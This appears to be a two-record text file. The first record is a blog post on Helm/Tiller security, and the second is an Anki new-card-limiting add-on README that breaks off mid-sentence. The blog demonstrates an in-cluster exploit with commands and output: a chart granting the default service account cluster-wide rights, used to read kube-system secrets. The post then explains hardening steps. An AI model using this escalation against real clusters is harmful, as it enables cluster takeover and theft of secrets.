text:
# Exploring the Security of Helm

Bitnami has been a part of the Helm community for a long while, but I
personally started looking at it only a few weeks ago in the context
of some recent security discussions with Heptio and Microsoft.

The executive summary is that **helm/tiller is completely insecure in
the default install**, and **some additional action needs to be taken
before using it in a shared/production environment**.

This post is a breakdown of some of what I've learned, and some of the
approaches available to secure tiller within a cluster.  I have tried
to include plenty of worked examples so readers can see how to explore
their own tiller setup before and after making any changes.

## Breaking Down the Problem

There are several angles from which someone might try to abuse
Helm/Tiller:

- A **privileged API user**, such as a cluster-admin.  We actually
  _want_ these users to have access to the full power and convenience
  of helm charts.
- A **low-privilege API user**, such as a user who has been restricted
  to a single namespace using RBAC.  We would _like_ to allow these
  users to install charts into their namespace, but not affect other
  namespaces.
- An **in-cluster process**, such as a compromised webserver.  There
  is no reason these processes should install helm charts, and we want to
  prevent them from doing so.
- A **hostile chart author** can create a chart containing unexpected
  resources.  These can either escalate one of the other groups above,
  or run other malicious jobs.

It is easy to mash all the issues and conversations together, but I
recommend keeping the above separation in mind when considering your
own needs and solutions.

## Helm Architecture

First, some required background.  "Helm" is a project and a command
line tool to manage bundles of Kubernetes manifests called [charts].
`helm` (the command line tool) works by talking to a server-side
component that runs in your cluster called `tiller`.  Tiller by
default runs as the `tiller-deploy` `Deployment` in `kube-system`
namespace.  Much of the power and flexibility of Helm comes from the
fact that **charts can contain just about any Kubernetes resource**.
There are [good docs][architecture] on the helm website if you want to
read about any of this in more depth.

[architecture]: https://github.com/kubernetes/helm/blob/master/docs/architecture.md
[charts]: https://github.com/kubernetes/helm/blob/master/docs/charts.md

The `helm` -> `tiller` communication happens over [gRPC] connections.
These are not your usual HTTP, but you can think of it in a similar
way: `helm` sends a command and arguments down the gRPC TCP channel,
tiller does the work, and then returns a result which `helm` usually
displays to the user in some form.

[gRPC]: https://grpc.io/

Here's the scary bit: Tiller is able to create just about any
Kubernetes API resource in a cluster.  It has to, because that is its
job when installing a chart!  **Tiller performs no authentication by
default** - so if we can talk to tiller, then we can tell it to
install just about anything.

## In-cluster attacks

This is one of the most alarming of the cases above, so we will focus
on it first. The design of Kubernetes RBAC, namespaces, pods, etc
strives to isolate serving jobs from each other.  If a webserver is
compromised (for example), you really want that rogue process to stay
contained and not be able to easily escalate and exploit the rest of
your cluster.

**By default tiller exposes its gRPC port inside the cluster, without
authentication.** That means *any* pod inside your cluster can ask
tiller to install a chart that installs new ClusterRoles granting the
local pod arbitrary, elevated RBAC privileges: Game over, thanks for
playing.

### What are we talking about, exactly?

Here is **a complete worked example**, so you can see what's involved,
and how to test your own cluster.

**First, install tiller.**  We're going to install tiller using the
defaults.

```console
$ helm init
$HELM_HOME has been configured at /home/gus/.helm.

Tiller (the Helm server-side component) has been installed into your Kubernetes Cluster.
Happy Helming!
```

_What does this do?_ `helm init` creates a `Service` and a
`Deployment`, both called `tiller-deploy` in the `kube-system`
namespace.  Note the default tiller port is 44134 - we're going to use
that later.

```console
$ kubectl -n kube-system get svc/tiller-deploy deploy/tiller-deploy
NAME                TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)     AGE
svc/tiller-deploy   ClusterIP   <IP_ADDRESS>   <none>        44134/TCP   1h

NAME                   DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE
deploy/tiller-deploy   1         1         1            1           1h
```

A `ClusterIP` `Service` creates a hostname and port that can be
accessed from elsewhere inside the cluster.  _What happens if we poke
at those directly?_

For now, lets test our access to tiller from inside the cluster.  The
following sets up a [basic shell environment][helmsploit] running in a
temporary pod in the "default" namespace.  Importantly, this pod has
no special privileges.

[helmsploit]: Dockerfile

```console
$ kubectl run -n default --quiet --rm --restart=Never -ti --image=helmsploit incluster
root@incluster:/# helm version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Error: cannot connect to Tiller
```

Good! "Error: cannot connect to Tiller" is exactly what we want to
see!  But wait, we saw earlier that tiller installs a service by
default.  _What happens if we try to talk to that host/port directly?_

```console
root@incluster:/# telnet tiller-deploy.kube-system 44134
Trying <IP_ADDRESS>...
Connected to tiller-deploy.kube-system.svc.cluster.local.
Escape character is '^]'.
^]
telnet> quit
Connection closed.
```

Huh, that looks like I *can* connect to tiller.  Sure enough, the
earlier "cannot connect" error wasn't quite true and what actually
failed was the `helm` CLI trying to *discover* tiller.  If we bypass
the discovery step, **the actual connection to tiller works just
fine**:

```console
root@incluster:/# helm --host tiller-deploy.kube-system:44134 version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.7.0", GitCommit:"08c1144f5eb3e3b636d9775617287cc26e53dba4", GitTreeState:"clean"}
```

Just to drive home exactly what this means, here's the rest of an
example exploit.  I created a [very simple chart][pwnchart] that just
binds the "default" service account to a wildcard "allow everything"
RBAC ClusterRole.  You can see that installing this chart immediately
allows my previously-unprivileged pod to **read the secrets from
`kube-system`** (for example).

[pwnchart]: pwnchart

```console
root@incluster:/# kubectl get secrets -n kube-system
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:default" cannot list secrets in the namespace "kube-system"

root@incluster:/# helm --host tiller-deploy.kube-system:44134 install /tmp/pwnchart-0.1.0.tgz
NAME:   dozing-moose
LAST DEPLOYED: Fri Dec  1 11:24:22 2017
NAMESPACE: default
STATUS: DEPLOYED

RESOURCES:
==> v1beta1/ClusterRole
NAME           AGE
all-your-base  0s

==> v1beta1/ClusterRoleBinding
NAME          AGE
belong-to-us  0s

root@incluster:/# kubectl get secrets -n kube-system
NAME                                     TYPE                                  DATA      AGE
attachdetach-controller-token-v2mbl      kubernetes.io/service-account-token   3         1d
bootstrap-signer-token-svl22             kubernetes.io/service-account-token   3         1d
<etc ...>
```

### How can we close down the tiller port?

Luckily this is easy for most users.  If you _only_ use tiller through
the `helm` CLI tool, **this is sufficient to secure a default tiller
install** from attacks inside your cluster:

```sh
kubectl -n kube-system delete service tiller-deploy
kubectl -n kube-system patch deployment tiller-deploy --patch '
spec:
  template:
    spec:
      containers:
        - name: tiller
          ports: []
          command: ["/tiller"]
          args: ["--listen=localhost:44134"]
'
```

_What does this do?_ This patches the tiller `Deployment` to run with
`--listen=localhost:44134` flag.  This flag causes tiller to listen
for gRPC connections **only on the localhost address inside the pod**.
The `Service` and `ports` declaration are now useless, so we remove
them too just to be nice.

Note that **just removing the `Service` is not sufficient**. The
tiller port is still exposed, if you know the pod address.

```console
$ kubectl -n kube-system delete service tiller-deploy
service "tiller-deploy" deleted
$ kubectl get pods -n kube-system -l app=helm,name=tiller -o custom-columns=NAME:.metadata.name,PODIP:.status.podIP
NAME                             PODIP
tiller-deploy-84b97f465c-pdfdp   <IP_ADDRESS>
$ kubectl run -n default --quiet --rm --restart=Never -ti --image=helmsploit:latest incluster
root@incluster:/# helm --host=tiller-deploy.kube-system:44134 version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Error: cannot connect to Tiller
root@incluster:/# helm --host=<IP_ADDRESS>:44134 version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.7.0", GitCommit:"08c1144f5eb3e3b636d9775617287cc26e53dba4", GitTreeState:"clean"}
```

The last command above demonstrates that tiller is still exposed on
the pod IP address.  Continuing this example to show that restarting
tiller with `--listen=localhost:44134` *does* restrict access:

```console
$ kubectl -n kube-system patch deployment tiller-deploy --patch '
spec:
  template:
    spec:
      containers:
        - name: tiller
          ports: []
          command: ["/tiller"]
          args: ["--listen=localhost:44134"]
'

deployment "tiller-deploy" patched
$ kubectl run -n default --quiet --rm --restart=Never -ti --image=helmsploit:latest incluster
root@incluster:/# helm --host=<IP_ADDRESS>:44134 version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Error: cannot connect to Tiller
```

I have never been happier to see a "cannot connect" error message.
**By listening on localhost only, tiller is no longer accessible
within the cluster.**

**Note that the `helm` CLI tool still works, when used by privileged
users.** This is because the CLI tool creates a temporary *port
forward* to the tiller-deploy pod directly, and then communicates down
the forwarded connection.  The port-forwarded connection "pops out" in
the pod's own network namespace, and so *can* connect to the pod's
idea of `localhost` just fine.  I'll come back to the `helm` CLI again
later.

```console
$ kubectl auth can-i create pods --subresource portforward -n kube-system
yes
$ helm version
Client: &version.Version{SemVer:"v2.7.0", GitCommit:"08c1144f5eb3e3b636d9775617287cc26e53dba4", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.7.0", GitCommit:"08c1144f5eb3e3b636d9775617287cc26e53dba4", GitTreeState:"clean"}
```

### What if I _need_ to access tiller port in-cluster?

**There are some 3rd-party services that build on tiller**, such as
[monocular] and [landscaper].  These fall into a few categories
depending on how they work.

[monocular]: https://github.com/kubernetes-helm/monocular
[landscaper]: https://github.com/Eneco/landscaper
[armada]: https://github.com/att-comdev/armada

Some tools use `helm` CLI directly (eg: a DIY jenkins CI/CD
pipeline).  These will work just fine in-cluster provided the service
account they are running as is able to create a port-forward to the
tiller pod.  See the section on low-privileged API users below.

Some tools talk to the gRPC port directly.  You have two basic choices
with these: you can either set up tiller's gRPC TLS authentication, or
bundle all the related services into the same pod as tiller.

#### Tiller with TLS-authenticated gRPC

There are some good [upstream docs][tiller-ssl] for this, so I won't
repeat it all here.  What the doc perhaps doesn't make clear enough is
that TLS auth was completely broken before helm v2.7.2.  **You must
use at least helm/tiller v2.7.2 if you rely on TLS authentication.**

[tiller-ssl]: https://github.com/kubernetes/helm/blob/master/docs/tiller_ssl.md

For simplicity in the following example, I've wrapped up all the TLS
certificate generation in a [simple script][tls.make] that uses
`openssl` - any other method of generating these keys is fine.

[tls.make]: tls.make

```console
$ : Ensure at least v2.7.2 !
$ helm version --client --short
Client: v2.7.2+g8478fb4
$ ./tls.make
(output skipped)
$ kubectl delete deploy -n kube-system tiller-deploy
deployment "tiller-deploy" deleted
$ helm init --tiller-tls --tiller-tls-cert ./tiller.crt --tiller-tls-key ./tiller.key --tiller-tls-verify --tls-ca-cert ca.crt
$HELM_HOME has been configured at /home/gus/.helm.
(Use --client-only to suppress this message, or --upgrade to upgrade Tiller to the current version.)
Happy Helming!
```

_What has this done?_ This deletes the old tiller Deployment (to clean
up after our earlier `--listen=localhost:44134` change), and then
installs a fresh tiller with the **gRPC port open inside the cluster,
but *secured with TLS certificates***.  If you are curious, the tiller
TLS files have been uploaded into the `tiller-secret` Secret in
`kube-system` namespace.

Now we can retry our earlier in-cluster test:

```console
$ kubectl run -n default --quiet --rm --restart=Never -ti --image=helmsploit:latest incluster
root@incluster:/# telnet tiller-deploy.kube-system 44134
Trying <IP_ADDRESS>...
Connected to tiller-deploy.kube-system.svc.cluster.local.
Escape character is '^]'.
^]
telnet> quit
Connection closed.
root@incluster:/# helm --host=tiller-deploy.kube-system:44134 version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Error: cannot connect to Tiller
```

Note the port is open (`telnet` can connect to it), but the tiller
server immediately closes the gRPC connection because we don't have a
suitable TLS certificate.  Good.

The same is true even when the client tries to connect from localhost
over the port-forward.  **With TLS enabled, *everyone* has to use TLS
certs.**

```console
$ helm version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Error: cannot connect to Tiller
$ ./tls.make myclient.crt myclient.key
(output skipped)
$ helm --tls --tls-ca-cert ca.crt --tls-cert myclient.crt --tls-key myclient.key version
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
$ cp ca.crt $(helm home)/ca.pem
$ cp myclient.crt $(helm home)/cert.pem
$ cp myclient.key $(helm home)/key.pem
$ : The following looks like a bug!
$ helm version --tls
could not read x509 key pair (cert: "/cert.pem", key: "/key.pem"): can't load key pair from cert /cert.pem and key /key.pem: open /cert.pem: no such file or directory
$ export HELM_HOME=$(helm home)
$ helm version --tls
Client: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
Server: &version.Version{SemVer:"v2.7.2", GitCommit:"8478fb4fc723885b155c924d1c8c410b7a9444e6", GitTreeState:"clean"}
```

Note that we now have to present a valid TLS certificate, even when
using the port-forward method.  We can save some typing by copying the
TLS files into the helm config dir, but note there appears to be a bug
that requires `HELM_HOME` to be explicitly set, and we still need to
use `helm --tls` everywhere.  This is annoying, but is **necessary for
setups where tiller needs to be exposed** to 3rd party services within
the cluster.

#### Alternative: Sidecars

Some tiller clients (eg [monocular]) do not support TLS-secured gRPC
connections yet.  The approach we took with [kubeapps] dashboard was
to move the `monocular-api` component and tiller **into the same
pod**, and use the earlier `--listen` flag to restrict tiller to
localhost within that pod.

[kubeapps]: https://kubeapps.com/

The details are messy but straightforward.  You can see the relevant
portion of the [kubeapps manifests][tillersidecar] if you are curious.
Note these configs are written using [kubecfg] (from the ksonnet
project).

[tillersidecar]: https://github.com/kubeapps/manifest/blob/5c159b7584e088546acef0414d3ba7b9c909f160/kubeapps-dashboard.jsonnet#L114
[kubecfg]: https://github.com/ksonnet/kubecfg

## Limited Access for Low-privileged Users

The above is great, but completely ignores authorization.  Even with
TLS configured, tiller is still all-or-nothing: If you can send
commands, then, you can install anything you want and effectively own
the cluster.

**What if you _want_ to allow your users to use helm, but still
restrict what a chart can do?**

### Tiller per Namespace

The basic approach is to use RBAC to limit the tiller service account.
We can then **have many tiller instances**, each running with
different service account, and different RBAC restrictions.  By
controlling who is allowed to access which tiller instance, we can
control what those users are allowed to do *via* tiller.

One obvious example is providing a tiller instance per namespace,
limited to only creating resources in *that* namespace.

```console
$ NAMESPACE=default
$ kubectl -n $NAMESPACE create serviceaccount tiller
serviceaccount "tiller" created
$ kubectl -n $NAMESPACE create role tiller --verb '*' --resource 'services,deployments,configmaps,secrets,persistentvolumeclaims'
role "tiller" created
$ kubectl -n $NAMESPACE create rolebinding tiller --role tiller --serviceaccount ${NAMESPACE}:tiller
rolebinding "tiller" created
$ kubectl create clusterrole tiller --verb get --resource namespaces
clusterrole "tiller" created
$ kubectl create clusterrolebinding tiller --clusterrole tiller --serviceaccount ${NAMESPACE}:tiller
clusterrolebinding "tiller" created
$ helm init --service-account=tiller --tiller-namespace=$NAMESPACE
$HELM_HOME has been configured at /home/gus/.helm.

Tiller (the Helm server-side component) has been installed into your Kubernetes Cluster.
Happy Helming!
$ kubectl -n $NAMESPACE delete service tiller-deploy
service "tiller-deploy" deleted
$ kubectl -n $NAMESPACE patch deployment tiller-deploy --patch '
spec:
  template:
    spec:
      containers:
        - name: tiller
          ports: []
          command: ["/tiller"]
          args: ["--listen=localhost:44134"]
'
deployment "tiller-deploy" patched
```

This creates a new service account, with the RBAC permissions to do
anything to services, deployments, configmaps, secrets and PVCs
(extend as desired) within the specfied namespace.  We then install a
new tiller instance in this namespace using the new service account,
and apply our earlier patches to restrict the tiller port to
localhost.

Let's test it out:

```console
$ helm --tiller-namespace=$NAMESPACE install stable/wordpress
NAME:   intent-mite
LAST DEPLOYED: Sun Dec  3 13:28:56 2017
NAMESPACE: default
STATUS: DEPLOYED
(snip)

$ helm --tiller-namespace=$NAMESPACE install ./pwnchart-0.1.0.tgz
Error: release boisterous-quetzal failed: clusterroles.rbac.authorization.k8s.io is forbidden: User "system:serviceaccount:default:tiller" cannot create clusterroles.rbac.authorization.k8s.io at the cluster scope
```

Success!  A "nice" single-namespace chart like wordpress installed
successfully, but we were **unable to install a chart that tried to
modify a global resource**.

Note the above setup needs to be repeated for *every* namespace (or
desired tiller isolation boundary).  Each `helm` CLI user will also
need to be able to find and port-forward to "their" tiller instance.
In the RBAC rule language, this means the ability to "list" "pods" and
"create" a "pods/portforward" resource.

The downside of this approach is having to manage the setup explicitly
for each namespace, and the cumulative runtime overhead of all those
separate tiller instances.  In our Bitnami internal development
cluster (for example), we have a namespace for each developer and this
approach translates to almost an entire VM dedicated to just
running tillers.

### Helm CRD

During the recent conversation about Helm security, I wanted to see
what Helm would look like as a conventional Kubernetes addon.  So I
wrote a simple [Helm CRD controller][helm-crd].  This allows you to
**manage Helm charts by creating regular Kubernetes resources**
instead of using the `helm` CLI and sending gRPC commands.

[helm-crd]: https://github.com/bitnami/helm-crd

Using Kubernetes resources has **a number of benefits**:
- The tiller gRPC channel is not exposed
- HelmRelease resource can be restricted using RBAC as usual
- Integrates with other YAML-based tools and declarative workflows,
  like `kubectl` and [kubecfg]
- No need for the `helm` CLI for simple operations

The helm-crd controller also comes with an optional `kubectl` plugin
to simplify command-line use, but it can also be operated directly
with regular `kubectl` and YAML files.  Using the plugin looks like
this:

```console
$ mkdir -p ~/.kube/plugins/helm
$ pushd ~/.kube/plugins/helm
$ wget \
 https://raw.githubusercontent.com/bitnami/helm-crd/master/plugin/helm/helm \
 https://raw.githubusercontent.com/bitnami/helm-crd/master/plugin/helm/plugin.yaml
$ chmod +x helm
$ popd
$ kubectl delete deploy -n kube-system tiller-deploy
deployment "tiller-deploy" deleted
$ kubectl plugin helm init
customresourcedefinition "helmreleases.helm.bitnami.com" created
deployment "tiller-deploy" created
```

This installs the `kubectl` plugin, and then uses the plugin to
install tiller, the helm-crd controller, and `HelmRelease` custom
resource definition.  Note that helm-crd currently always installs
tiller into `kube-system`, with the CRD controller and tiller running
in the same pod and the tiller gRPC port restricted to localhost (as
described earlier).

```console
$ kubectl plugin helm install mariadb --version 2.0.1
helmrelease "mariadb-5w9hd" created
$ kubectl get helmrelease mariadb-5w9hd -o yaml
apiVersion: helm.bitnami.com/v1
kind: HelmRelease
metadata:
  clusterName: ""
  creationTimestamp: 2017-12-03T03:13:40Z
  deletionGracePeriodSeconds: null
  deletionTimestamp: null
  generateName: mariadb-
  name: mariadb-5w9hd
  namespace: default
  resourceVersion: "209450"
  selfLink: /apis/helm.bitnami.com/v1/namespaces/default/helmreleases/mariadb-5w9hd
  uid: f647e29f-d7d7-11e7-be67-525400793f03
spec:
  chartName: mariadb
  repoUrl: https://kubernetes-charts.storage.googleapis.com
  values: ""
  version: 2.0.1
```

The controller has only seen light testing so far, but is simple, and
is usable right now.  Currently it does not deal with the "hostile
chart" problem, but I have [a new tiller feature][pr-3212] that will
allow me to create a separate "cluster level" CRD resource, much like
the Role/ClusterRole split in RBAC.

[pr-3212]: https://github.com/kubernetes/helm/pull/3212

**Additional usage and feedback is valuable**, and we hope to be able
to use this experience to inform the "Helm v3" discussions starting in
February.

## Conclusion

This was a long doc.  The basic take-away is that **you need to do
something more** than just `helm init` when installing helm in a
non-toy cluster.

If you have no 3rd-party services that talk to tiller:\
Restart tiller with `--listen=localhost:44134`

If you _have_ 3rd-party services that talk to tiller:\
Configure TLS authentication

If you need to offer different levels of access via tiller:\
Complicated.  Multiple tiller instances, or Helm-crd.


text:
Note: I have stopped using Anki. I now use
[srf](https://github.com/ig3/srf) instead. It provides a small subset of
Anki features but the scheduler regulates new cards automatically, to
maintain a steady workload without constant manual adjustments, and cards
with shorter intervals are prioritized over cards with longer intervals,
which I find significantly enhances learning, particularly with a backlog
(e.g. after a few days without study). As I am not using Anki, I will not
notice if a newer version of Anki is incompatible with this plugin and will
have little motivation to adapt the plugin. If anyone wants to continue
development, of course you can fork this repository and I would be happy to
give over the plugin page on ankiweb. Let me know if you are interested.

# anki-limitnew
Limit the number of new cards in Anki based on workload.

If you have too many cards due, you cannot study them all on schedule. This
defeats the spaced repitition schedule. Adding more new cards only makes
the problem worse. You can manually edit your new card limit but this
add-on adjusts it automatically to keep a steady workload, adding as many
new cards as you can handle without being overloaded.

This add-on works only with Anki 2.1 and the V2 scheduler.

There are three implementations:
1. The original implementation for Anki 2.1.22
2. An implementation for Anki 2.1.22 through 2.1.27
3. The latest implementation for Anki 2.1.28

## Installation

* Download limitnew.ankiaddon
* Start Anki and open Tools -> Add-ons
* Drag the downloaded .ankiaddon file onto the add-ons list
* Restart Anki

GitHub: https://github.com/ig3/anki-limitnew

## Concepts

Ideally, you will complete study of all due cards every day. If you do, you
will see your review cards according to the spaced repition algorithm. If
you don't, your reviews of some cards will be delayed and learning will not
be as effective. If you are unable to study for a few days, you may have
more reviews due than you can complete in a day and adding more new cards
will only make the problem worse. You need some time without any more new
cards to catch up, then you can study new cards again. Otherwise, you may
be perpetually overloaded and not learning effectively, going into a
downward spiral of failure.

Each deck has a limit on new cards per day. This is a fixed number and if
you complete your study each day, you will see this number of new cards
each day. That's great, as long as you don't get overloaded and fall
behind. You make steady progress.

Reality is, some cards are easier than others and some days are better than
others. On a good day with easy cards, you could study many new cards and
still complete all due reviews. On a bad day or with more difficult cards,
adding too many new cards will make you fall behind and if you have limited
time to study, you may not be able to complete all due reviews. If you fall
behind for other reasons (i.e. you are unable to study for a few days)
adding new cards before you are caught up just makes it harder to catch up.

But Anki shows the same number of new cards every day, regardless of your
workload and how well you are coping.

One simple solution is to set your new card limit to 0 then add new cards
by custom study. This way you can add as many new cards as you want,
whenever you have capacity but not add any when you are overloaded.
Effectively, you manage the number of new cards manually.

Another is to edit your deck options to reduce your new card limit when you
are overloaded and increase it when you are not. Again, you are managing
the number of new cards manually.

Yet another is to set Anki scheduling options to show new cards after
reviews. If you don't complete your reviews, you will not see any new
cards. This is *automatic* but you will see all your new cards together, at
the end of your study and each deck is handled separately. If you have
multiple decks, you may spend time studying new cards in one deck, then not
have time to finish all the cards due when studying a subsequent deck.

With this add-on you can limit the number of new cards you see based on
number of overdue cards, number of cards scheduled and number of cards
viewed and you can set limits for the totals of these across all decks
and for each deck individually.

The limits work regardless of study order (new cards first, last or mixed
with reviews).

If you are coping well you will not have any overdue cards and the sum of
cards viewed and scheduled will be below the limits you set. In this case
you will see the full number of new cards you have configured as
`New cards/day` in you options for New Cards.

If you have overdue cards or the sum of scheduled and viewed cards exceeds
the limit you configure for this add-on, then the number of new cards you
see will be reduced. The reduction is gradual, reacing zero at the maximums
you set. Limits and maximums can be set for each deck and for totals across
all decks.

The objective is to studay as many new cards as possible without becoming
overloaded so that you can complete all scheduled reviews each day. If you
do become overloaded, then hold off new cards completely, until you catch
up with scheduled reviews.

New cards a limited based on number of overdue cards and `workload`: the
sum of cards scheduled and cards viewed for the day. This is an
approximation of the time and effort you are putting in to studying.

**Workload**: the number of cards due to be reviewed plus the number of
card views on the day.

If you view the same card several times (e.g. as it progresses through your
learning steps) then each view of the card contributes to workload. The
workload is not the number of unique cards, but the total number of card
views, regardless of which card. At the start of the day no cards have been
viewed, but some number of cards are due. By the end of the day, if you
complete review of all cards due, the remaining cards due is 0 but you will
have viewed some number of cards. The sum of due and viewed cards the the
approximation of workload. It tends to increase as you will view hard cards
more than once.

**Overdue**: the number of cards overdue for review is simpler. If you
complete all scheduled reviews each day, this number will be 0 but if you
don't complete all scheduled reviews then you will accumulate overdue
cards.

**OverdueMax**: the upper limit on overdue cards, beyond which no new
cards per day will be reduced to 0.

For the limit based on overdue cards there is one parameter: `OverdueMax`.
The new cards limit is reduced if there are any overdue cards. It is
reduced gradually, down to 0 when the number of overdue cards exceeds
`OverdueMax`. For example, if New cards/day is 20 and OverdueMax is 10,
then if you have 0 overdue cards you may see 20 new cards but if you have 5
overdue cards you may only see 10 new cards and if you have 10 or more
overdue cards you will not see any new cards.

For the limit based on workload there are two parameters: WorkloadLimit and
WorkloadMax. The new cards limit is reduced if the workload exceeds
WorkloadLimit. It is reduced gradually, down to 0 when the workload exceeds
WorkloadMax. Depending on your preference, WorkloadLimit and WorkloadMax
can be set equal for an abrupt cutoff of new cards, or WorkloadMax can be
set greater than WorkloadLimit for a gradual reduction.

**WorkloadLimit**: the lower limit, beyond which new cards per day begins
to be reduced from its configured value.

**WorkLoadMax**: the upper limit, beyond which the new cards per day is
reduced to 0.

## Configuration

The add-on has the following configuration parameters:

   * enableDeckLimits
   * enableTotalLimits
   * mode
   * totalWorkloadLimit
   * totalWorkloadMax
   * totalOverdueMax
   * totalMinimumNew
   * defaultDeckWorkloadLimit
   * defaultDeckWorkloadMax
   * defaultDeckOverdueMax
   * defaultDeckMinimumNew

To change the configuration, start Anki and open Tools -> Add-ons, select
the limitnew add-on and click Configure. Set values for the two parameters,
then click OK.

### enableDeckLimits - default true

This parameter may be set to true or false.

If it is true, then new cards are limited per deck.
Three new parameters are added to the New tab of deck options:

   * Workload Limit
   * Workload Max
   * Overdue Max

These parameters are configured per option group. Each deck has an option
group configured. By creating multiple option groups, each deck can be
configured differently.

These parameters work as described above but the workload and overdue cards
are calculated separately for each deck. If decks are nested, then the
calculations include cards overdue, due and studied for a deck and its
sub-decks.

### enableTotalLimits - default true

This parameter may be set to true or false.

If it is true then new cards are limited based on total workload: the sum
of cards due and studied across all decks, and total number of overdue
cards.

The limits are configured in add-on configuration parameters
totalWorkloadLimit, totalWorkloadMax and totalOverdueMax. These work as
described above.

### mode - default min

This parameter is only used by the older implementations. Implementation
for Anki 2.1.28 and later ignores it.

This parameter may be set to min or max.

If both enableDeckLimits and enableTotalLimits are true, then this
parameter determines whether the number of new cards for a given deck is
the maximum of the two limits or the minimum of them.

This parameter only works for the older implementations. For the current
implementation (Anki 2.1.28 and later) the number of new cards is always
the minimum.

### totalWorkloadLimit - default 200

This parameter may be set to an integer.

If enableTotalLimits is true, this is the total workload beyond which the
new card limit will be reduced. The total workload is calculated by summing
the cards studied and reviews and learning cards scheduled across all
decks.

Recommendation: Set workloadLimit to the number of cards you can study
in a couple of hours, or however much time you have available to study each
day. If you need only a few seconds per card, you might set your limit to
2,000 or higher. If you spend more like 30 seconds per card, then you might
set your limit to about 200.

### totalWorkloadMax - default 250

This parameter may be set to an integer.

If enableTotalLimits is true, this is the workload beyond which the new
card limit will be reduced to totalMinimumNew. The total workload is
calculated by summing the cards studied and reviews and learning cards
scheduled across all decks.

If workloadMax is greater than workloadLimit then the new
card limit will be gradually reduced as workload increases from
workloadLimit to workloadMax.

Recommendation: Set totalWorkloadMax to the workload beyond which you don't
want to see any new cards. If you want your new cards to be all-or-nothing,
set totalWorkloadMax to the same value as totalWorkloadLimit.

### totalOverdueMax - default 20

This parameter may be set to an integer.

If enableTotalLimits is true, this is the number of overdue cards beyond
which the new card limit will be reduced to totalMinimumNew.

Recommendation: Set totalOverdueMax low.  This is a strong indicator that
you are overloaded, in which case adding more new cards will not be
helpful.

### totalMinimumNew - default 1

This parameter may be set to an integer.

If enableTotalLimits is true, this is the minimum that new cards will be
reduced to based on total workload and overdue cards.

Recommendation: Set this to the number of new cards you want to see every
day, regardless of your overall workload. It should be low enough that even
when you are seriously overloaded, you will be able to recover reasonably
quickly.

### defaultDeckWorkloadLimit - default 200

This parameter may be set to an integer.

If enableDeckLimits is true, this is the default value of the option group
Workload Limit parameter.

### defaultDeckWorkloadMax - default 250

This parameter may be set to an integer.

If enableDeckLimits is true, this is the default value of the option group
Workload Max parameter.

### defaultDeckOverdueMax - default 20

This parameter may be set to an intenger.

If enableDeckLimits is true, this is the default value of the option group
Overdue Max parameter.

### defaultDeckMinimumNew - default 1

This parameter may be set to an integer.

If enableDeckLimits is true, this is the default value of the option group
Minimum New parameter.

## Per-Deck Limits

If `enableDeckLimits` is set to true, then deck options will include three
new parameters: `Workload Limit`, `Workload Max`, `Overdue Max` and
`Minimum New`. These values will not appear in the add-on configuration
file. They only appear in the deck options. They work the same as the
corresponding `total` parameters in the add-on configuration, except the
workload and overdue cards are for the partucular deck. However, if you
have nested decks, then the number for the parent deck include those of the
sub-decks.

## Custom Study - increase today's new card limit

[Custom study](https://docs.ankiweb.net/#/filtered-decks?id=custom-study)
allows you to increase the number of new cards for the day. This alters
the deck, rather than creating a filtered deck. The implementation doesn't
actually change the new card limit. Instead, it adjusts the count of new
cards studied. If you allow 10 more new cards, the new card limit is
unchanged but the count of new cards studied is reduced by 10, possibly to
a negative number. Then, as you study more new cards, the count of new
cards studied is increased. You can study more new cards until the count
reaches the new card limit.

When your workload is less than your WorkloadLimit, this should work as
expected but when the add-on has reduced your new card limit, the result
can be a bit confusing.

Consider if your new card limit is 20 cards and you study 20 new cards.
With the older implementations, your count of new cards is 20, your limit
is 20 and Anki will not show you any more new cards. If you continue to
study so that your total number of reviews exceeds your WorkloadMax, then
this add-on will reduce your new card limit to 0. Now, your new card limit
is 0, but your count of new cards is still 20. If you then add 10 more new
cards by custom study, your new card limit is still 0 and your count of new
cards is reduced to 10, but 10 is still more than 0 so you will not see any
more new cards. If you then allow another 15 new cards, your count of new
cards studied is reduced to -5 (these adjustments are cumulative). Since -5
is less than 0, you will see 5 more new cards.

The latest implementation is different. It changes the number of new cards
you will see by changing the number of new cards seen, rather than the
limit on new cards. Thus, it works consistently with how custom study
works: to make Anki believe you have studied more or less new cards than
you actually have. Being consistent with how custom study works, it will,
hopefully, be a little less confusing if you do custom study.

## Filtered decks

[Filtered decks](https://docs.ankiweb.net/#/filtered-decks?id=filtered-decks-amp-cramming)
are for study outside the normal spaced repitition algorithm and deck
configuration.

This add-on does not limit new cards in filtered decks. This includes
filtered decks you create manually and those created by custom study.

Filtered decks do have reviews due and studying a filtered deck contributes
to the count of card views - increasing the total workload for the day.
This will not affect per-deck limits (assuming the filtered deck is not a
sub-deck of the deck being studied) but it will affect the limits based on
total workload.

## Sub-decks

The new card limit of a sub-deck cannot be more than the limit of its
